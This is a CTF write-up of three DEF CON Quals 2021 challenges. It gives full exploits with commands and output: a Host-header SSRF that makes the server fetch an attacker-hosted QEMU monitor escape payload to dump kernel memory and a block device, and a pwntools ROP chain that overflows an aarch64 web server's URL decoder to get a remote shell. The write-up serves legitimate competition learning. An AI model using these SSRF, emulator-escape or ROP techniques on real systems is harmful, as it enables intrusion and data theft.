Defcon CTF Quals 2021 Writeups
I have never posted rev/pwn writeups here, so I figured I should do some from Defcon CTF Quals this year. Aaron Jobe (@dirtyc0wsay) and I worked together (as a part of team OSUSEC) to solve these three challenges (among others): coooinbase-kernel, coooinbase, and mra.
a simple service backed by special hardware for buying bitcoin: our beta testing server is live at http://52.6.166.222:4567 - this time attack the kernel!
Basically, we're provided with a webserver that runs some strange kernel (not really relevant to solution lol) in QEMU everytime you submit a certain form.
post '/buy' do
puts "...fetching: http://#{env['HTTP_HOST']}/gen-bson"
uri = URI.parse("http://#{env['HTTP_HOST']}/gen-bson")
b6 = Net::HTTP.post_form(uri, params).body
s = 'INVALID CREDIT CARD'
if b6 == 'NO'
# invalid!
else
file = Tempfile.new('pwn')
puts "...writing '#{b6}' to '#{file.path}'"
file.write(b6)
file.rewind
file.close
s = `./x.sh < #{file.path}`
file.unlink # deletes the temp file
end
"#{valid_association?(params['cardnumber'])} - #{s}"
end
post '/gen-bson' do
return 'NO' unless valid_credit_card?(params['cardnumber'])
return 'NO' if valid_association?(params['cardnumber']) == 'NO'
x = {}
x['CVC'] = params['cvv'].to_i
x['MON'] = params['expmonth'].to_i
x['YR'] = params['expyear'].to_i
x['CC'] = params['cardnumber']
m = x.to_bson
return "#{Base64.strict_encode64(m.to_s).chomp} "
end
env['HTTP_HOST']
via the Host
header, so we can bypass the "valid credit card check" (among other things)./x.sh
processx.sh
:timeout 1 qemu-system-aarch64 -machine virt -cpu cortex-a57 -smp 1 -m 64M -nographic -serial mon:stdio -monitor none -kernel coooinbase.bin -drive if=pflash,format=raw,file=rootfs.img,unit=1,readonly
-serial mon:stdio
:eyes: wait we can just send control characters and jump into QEMU monitor?file=rootfs.img
so the flag for the userspace program is on the filesystem?grep --text -boi 'ooo{.*}' coooinbase.bin
-> 34904:OOO{this_one_is_in_kernel}
. So the flag is stored in kernel memoryWe realized that this is a cheese as we're doing zero kernel pwn to get the flag, but oh well. We really wanted to first blood both challenges LOL.
So basically we realized we just need to use SSRF to a page we control so that the response is ^Ac to open QEMU monitor then run commands to get the flag from memory:
^Ac
info registers
x/50gx 0x0000000040088858
x
00000000 01 63 0a 69 6e 66 6f 20 72 65 67 69 73 74 65 72 |.c.info register|
00000010 73 0a 78 2f 35 30 67 78 20 30 78 30 30 30 30 30 |s.x/50gx 0x00000|
00000020 30 30 30 34 30 30 38 38 38 35 38 0a 01 78 0a |00040088858..x.|
We found the offset of the flag by debugging the kernel image, dumping registers to find the base address of the kernel image in virtual memory (0x40000000
), then adding the 34904
(0x8858
) offset found in the grep command in the reverse engineering step.
We put the QEMU payload at http://myhost:8523/asdf.txt
. The HTTP request that the SSRF exploit will make is to http://myhost:8523/asdf.txt?/gen-bson
which is the location of the QEMU payload. Easy flag.
$ curl http://52.6.166.222:4567/buy --data 'cardnumber=4716391337091425' -H 'Host: myhost:8523/asdf.txt?'
QEMU 5.2.0 monitor - type 'help' for more information
(qemu)
(qemu) info registers
PC=0000000040000000 X00=0000000000000000 X01=0000000000000000
X02=0000000000000000 X03=0000000000000000 X04=0000000000000000
X05=0000000000000000 X06=0000000000000000 X07=0000000000000000
X08=0000000000000000 X09=0000000000000000 X10=0000000000000000
X11=0000000000000000 X12=0000000000000000 X13=0000000000000000
X14=0000000000000000 X15=0000000000000000 X16=0000000000000000
X17=0000000000000000 X18=0000000000000000 X19=0000000000000000
X20=0000000000000000 X21=0000000000000000 X22=0000000000000000
X23=0000000000000000 X24=0000000000000000 X25=0000000000000000
X26=0000000000000000 X27=0000000000000000 X28=0000000000000000
X29=0000000000000000 X30=0000000000000000 SP=0000000000000000
PSTATE=400003c5 -Z-- EL1h FPU disabled
(qemu) x/50gx 0x0000000040088858
0000000040088858: 0x62726f667b4f4f4f 0x6e75203133207365
0000000040088868: 0x3a20313320726564 0x0000000000007d29
0000000040088878: 0x0000000000000000 0x0000000000000000
0000000040088888: 0x0000000000000000 0x0000000000000000
0000000040088898: 0x0000000000000000 0x0000000000000000
00000000400888a8: 0x0000000000000000 0x0000000000000000
00000000400888b8: 0x0000000000000000 0x0000000000000000
00000000400888c8: 0x0000000000000000 0x0000000000000000
00000000400888d8: 0x0000000000000000 0x0000000000000000
00000000400888e8: 0x0000000000000000 0x0000000000000000
00000000400888f8: 0x0000000000000000 0x0000000000000000
0000000040088908: 0x0000000000000000 0x0000000000000000
0000000040088918: 0x0000000000000000 0x0000000000000000
0000000040088928: 0x0000000000000000 0x0000000000000000
0000000040088938: 0x0000000000000000 0x0000000000000000
0000000040088948: 0x0000000000000000 0x0000000000000000
0000000040088958: 0x0000000000000000 0x0000000000000000
0000000040088968: 0x0000000000000000 0x0000000000000000
0000000040088978: 0x0000000000000000 0x0000000000000000
0000000040088988: 0x0000000000000000 0x0000000000000000
0000000040088998: 0x0000000000000000 0x0000000000000000
00000000400889a8: 0x0000000000000000 0x0000000000000000
00000000400889b8: 0x0000000000000000 0x0000000000000000
00000000400889c8: 0x0000000000000000 0x0000000000000000
00000000400889d8: 0x0000000000000000 0x0000000000000000
(qemu) QEMU: Terminated
$ python3
>>> from pwn import *
>>> ''.join([p64(x).decode() for x in [0x62726f667b4f4f4f, 0x6e75203133207365, 0x3a20313320726564, 0x0000000000007d29]])
'OOO{forbes 31 under 31 :)}\x00\x00\x00\x00\x00\x00'
a simple service backed by special hardware for buying bitcoin: our beta testing server is live at http://52.6.166.222:4567
Read the coooinase-kernel writeup first if you haven't already. Same concept. Just, this time, the flag is stored on a block device
Alright. Now that we blooded the kernel and had a working cheese, we wanted to blood the userspace challenge too.
The QEMU commands we used this time weren't documented well so we had a bit of fun exploring the arguments, but we settled on:
^Ac
info block
qemu-io pflash1 "read -v 713728 100"
x
00000000 01 63 0a 69 6e 66 6f 20 62 6c 6f 63 6b 0a 71 65 |.c.info block.qe|
00000010 6d 75 2d 69 6f 20 70 66 6c 61 73 68 31 20 22 72 |mu-io pflash1 "r|
00000020 65 61 64 20 2d 76 20 37 31 33 37 32 38 20 31 30 |ead -v 713728 10|
00000030 30 22 0a 01 78 0a |0"..x.|
00000036
We determined the name of the block device with the info block
and dumped 100
bytes of memory starting at offset 713728
which we determined by running a grep command similar to that of the kernel challenge:
$ grep --text -boi 'ooo{.*}' rootfs.img
713728:OOO{this_is_from_userland}
Alright. Time for QEMU pwn:
$ curl http://52.6.166.222:4567/buy --data 'cardnumber=4716391337091425' -H 'Host: myhost:8523/asdf.txt?'
QEMU 5.2.0 monitor - type 'help' for more information
(qemu)
(qemu) info block
pflash1 (#block132): rootfs.img (raw, read-only)
Attached to: /machine/virt.flash1
Cache mode: writeback
floppy0: [not inserted]
Removable device: not locked, tray closed
sd0: [not inserted]
Removable device: not locked, tray closed
(qemu) qemu-io pflash1 "read -v 713728 100"
000ae400: 4f 4f 4f 7b 74 68 69 73 5f 69 73 5f 66 72 6f 6d OOO.this.is.from
000ae410: 5f 75 73 65 72 6c 61 6e 64 7d 0a 00 00 00 00 00 .userland.......
000ae420: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000ae430: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000ae440: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000ae450: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000ae460: 00 00 00 00 ....
read 100/100 bytes at offset 713728
100 bytes, 1 ops; 00.00 sec (1.894 MiB/sec and 19862.5511 ops/sec)
(qemu) QEMU: Terminated
(except the real flag was in that hexdump). It was fun while it lasted.
~~shouldnt have slept the second night LOL~~
Is it odd?
mra.challenges.ooo 8000
The binary is an arm64 binary:
$ file ./mra
mra: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), statically linked, stripped
So, we debugged it by first running the binary in QEMU (with -g) then attaching from gdb:
$ qemu-aarch64 -g 1234 ./mra
$ aarch64-linux-gnu-gdb ./mra
gef➤ target remote :1234
Remote debugging using :1234
gef➤ checksec
[+] checksec for ./mra
Canary : No
NX : Yes
PIE : No
Fortify : No
RelRO : Partial
Thought process:
It's immediately obvious that the binary was a crappy webserver from the strings. There's an API endpoint that tells you whether your number is even or odd:
$ qemu-aarch64 ./mra
GET /api/isodd/9
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 19
{
"isodd": true
}
The majority of the functionality of the application is actually unrelated to the vulnerability.
In memory, the application splits the URL into the URL path and query by finding the ?
byte in memory and replacing it with a null byte (and storing the pointers). Then, it calls a function that url decodes the URL path (we call it urldecode
). The cleaned-up Ghidra decompilation is:
int urldecode(void *dest, void *src) {
uint uVar1;
void *src;
void *dest;
byte cur_char;
int n_copied = 0;
void *ptr = 0;
while (cur_char = *(byte *)((long)src + (long)ptr),
cur_char != 0) { // repeat till null byte
if (cur_char == '%') {
uVar1 = FUN_00400144(*(undefined *)
((long)src + (long)ptr + 1));
cur_char = FUN_00400144(*(undefined *)((long)src + (long)ptr + 2));
cur_char = (byte)((uVar1 & 0xff) << 4) | cur_char;
ptr = ptr + 3; // skips len("%xx") == 3 bytes
}
else {
ptr = ptr + 1; // skips to next byte
}
*(byte *)((long)dest + (long)n_copied) = cur_char; // copy decompiled char to dest buffer
n_copied = ptr + 1;
}
return n_copied;
}
If the app finds a %
character, it passes the next two bytes to a function that decodes ASCII, then increases the pointer by 3 bytes (to skip the three %xx
bytes), and writes the char to the dest
buffer. If the app is not a %
byte, it just copies it to the dest
buffer immediately. It repeats this process until it reaches a null byte.
There is an OOB read vulnerability in urldecode
that enables a buffer overflow in dest
. Because the %
character consumes the next two bytes regardless of what they are, we can simply consume the URL path string-terminating null byte (which was previously the ?
in the URL) with a %
. Since we control the query parameters too, we can skip right past the null byte and continue writing to the stack past the max URL path size.
$ qemu-aarch64 ./mra
GET /api/isodd/%?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
[1] 3452210 segmentation fault qemu-aarch64 ./mra
Unfortunately, when we inspected the core dump, we realized it wasn't segfaulting at the return address 0x4141414141414141
like we had hoped. In the main function,
iVar3 = urldecode(&stack0x00000428,puVar4);
string_length = (long)iVar3;
if ((cVar7 == '-') && (iVar3 = strcmp(pcVar10,"public"), iVar3 == 0)) {
output(0x191,
"{\n\t\"error\": \"sign up for premium or enterprise to get negative number support\"\n}"
);
}
else {
uVar2 = (byte)(&stack0x00000427)[string_length] - 0x30;
in_stack_00000020 = 0;
iVar3 = strcmp(pcVar10,"public");
if (iVar3 == 0) {
uVar1 = -(uVar2 & 1);
if (-1 < (int)uVar2) {
uVar1 = uVar2 & 1;
}
if (uVar1 == 1) {
pcVar10 = "true";
}
else {
pcVar10 = "false";
}
sprintf(&stack0x00000020,"{\n\t\"isodd\": %s,\n\t\"ad\": \"%s\"\n}\n",pcVar10,pcVar8);
}
else {
uVar1 = -(uVar2 & 1);
if (-1 < (int)uVar2) {
uVar1 = uVar2 & 1;
}
if (uVar1 == 1) {
pcVar10 = "true";
}
else {
pcVar10 = "false";
}
sprintf(&stack0x00000020,"{\n\t\"isodd\": %s\n}\n",pcVar10);
}
output(200,in_stack_00000020);
}
}
return 0;
The line uVar2 = (byte)(&stack0x00000427)[string_length] - 0x30;
was causing it to segfault early as we'd overwritten the value at stack0x00000427
with garbage. So, we decided to satisfy the first if
condition (which checks if you're submitting a negative number to the endpoint), and got a proper crash:
$ qemu-aarch64 ./mra
GET /api/isodd/-%?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
[1] 3452210 segmentation fault qemu-aarch64 ./mra
After much termoil (have I mentioned I don't like arm pwn yet), we settled these ROP gadgets:
0x408ef0: ldur q0, [sp, #-16] <-- read "/bin/sh\x00" (what) into q0 (sp-16)
0x408ef4: ldp x29, x30, [sp, #-32] <-- setup following gadget @ 0x401c58
0x408ef8: sub sp, sp, #0x20
0x408efc: ret
0x401c58: ldur x0, [sp, #-8] <-- read 0x41d300 (where) into x0 (sp-8)
0x401c5c: str q0, [x0] <-- write "/bin/sh\x00" (what/q0) to 0x41d300 (where/x0)
0x401c68: ldp x29, x30, [sp, #-48] <-- setup following gadget @ 0x4007ec
0x401c6c: sub sp, sp, #0x30
0x401c70: ret
0x4007ec: ldur x8, [sp, #-8] <-- we need to store 221 at sp-8
0x4007f0: ldur x0, [sp, #-16] <-- we need to store pointer to "/bin/sh\x00" (0x41d300) at sp-16
0x4007f4: ldur x1, [sp, #-24] <-- we need to store 0 at sp-24
0x4007f8: ldur x2, [sp, #-32] <-- we need to store 0 at sp-32
0x4007fc: ldur x3, [sp, #-40]
0x400800: ldur x4, [sp, #-48]
0x400804: svc #0x0 <-- shell plz
Since we need a /bin/sh
string at a known place in memory for the sys_execve syscall and PIE is disabled, we picked a random place in .bss
(0x41d300
) for our write-what-where gadget to put the string.
#!/usr/bin/env python3
from pwn import *
import urllib
#p = process(['qemu-aarch64', '-g', '1234', './mra'])
p = remote("mra.challenges.ooo", 8000)
buf = 'GET /api/isodd/%0?' + urllib.parse.quote(flat([
b'\x00'*7, # stack alignment
0x41d300, # the location of "/bin/sh"
221, # sys_execve
b'A'*8,
0x4007ec, # Shell plz
b'A'*24,
0x41d300, # ... the "where"
b'A'*8,
0x401c58, # Write-what-where
b'/bin/sh\x00', # ... the "what"
b'A'*16,
0x408ef0 # Setup the write-what-where gadget ("what" -> q0)
# ^^^ ROP chain entry point
], word_size=64))
p.send(buf)
p.interactive()
ok pwn time
$ ./mra.py
[+] Opening connection to mra.challenges.ooo on port 8000: Done
[*] Switching to interactive mode
$ cat /flag
OOO{the_0rder_0f_0verflow_is_0dd}
Feels like a high school CTF pwn chal ngl